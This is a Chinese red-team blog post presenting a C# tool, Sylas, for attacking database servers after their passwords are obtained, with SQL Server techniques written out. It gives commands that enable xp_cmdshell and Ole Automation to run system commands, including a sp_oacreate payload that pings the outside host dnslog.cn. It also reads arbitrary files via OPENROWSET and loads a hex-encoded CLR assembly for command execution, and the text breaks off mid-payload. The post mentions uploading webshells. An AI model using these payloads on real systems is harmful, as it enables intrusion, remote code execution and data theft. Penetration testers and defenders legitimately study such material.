数据库连接利用工具——Sylas ｜ 红队攻防

0x00 前言

起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如  tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功能出现问题，无法上传webshell，因此萌生了重写利用工具的想法。

大概耗时十天，顺带手把 postgresql 和 sql server 这两个护网中的常见数据库的利用也写了。

因为要做图形化，所以选择使用 C#。

github地址：https://github.com/Ryze-T/Sylas

0x01 Sql Server

1.1 文件查看

目录查看

sql server 的目录查看比较简单，代码为：

sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);

第一个 1 指的是目录深度，只看查询文件夹下的，不再列出更深层次的目录，第二个 1 指的是将文件也列出来

文件查看

文件查看用的是 openrowset()，在官方文档中有一句话，使用 BULK 可以从文件中读取数据，格式如下：

SELECT * FROM OPENROWSET(
   BULK 'C:\DATA\inv-2017-01-19.csv',
   SINGLE_CLOB) AS DATA;

这里有一个 SINGLE_CLOB，同样可选的选项还有 SINGLE_BLOB 和 SINGLE_NCLOB，三个的含义是读出的文件内容以 varchar、varbinary和 nvarchar 三种格式返回，在 C# 里常用的读取数据库查询返回结果的语句是

SqlDataReader reader = sqlCmd.ExecuteReader();
while (reader.Read())
{
    res = reader.GetString(0);
}

因此用 SINGLE_BLOB 可以满足 GetString()。

1.2 命令执行

命令执行的方法有这里使用了三种：xp_cmdshell、sp_oacreate、CLR。

xp_cmdshell

老生常谈，最通用的方法。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'

sp_oacreate

无回显的方法，也是sqlmap中默认集成的方法之一：

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c ping dnslog.cn'

CLR

Microsoft SQL Server 2005之后，微软实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。
CLR 集成使得现在可以使用 .NET Framework 语言编写代码，从而能够在 SQL Server 上运行。

编写过程如下：

在 visual studio 中安装数据存储和处理工具集：

新建 sql server 数据库项目：

在项目属性中设置创建脚本文件：

在其中编写代码后生成，在生成的文件夹下可以看到一个 sql 文件，打开后其中就有将该 dll 通过十六进制导入到 mssql 中的 sql 语句：

CREATE ASSEMBLY [execCmd]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200434309620000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000060000000000000000600000000200000000000003006085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A0020000000000000000000000000000000000000000000000000000342A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E746578740000006C0B000000200000000C000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050058220000DC07000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008A00280600000A7201000070721100007002280700000A28020000066F0800000A002A001B300600AF0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0800000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0800000A0000389D00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C15001106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A22518721B000070A22519076F1C00000A13091209282000000AA2251A7253000070A2251B110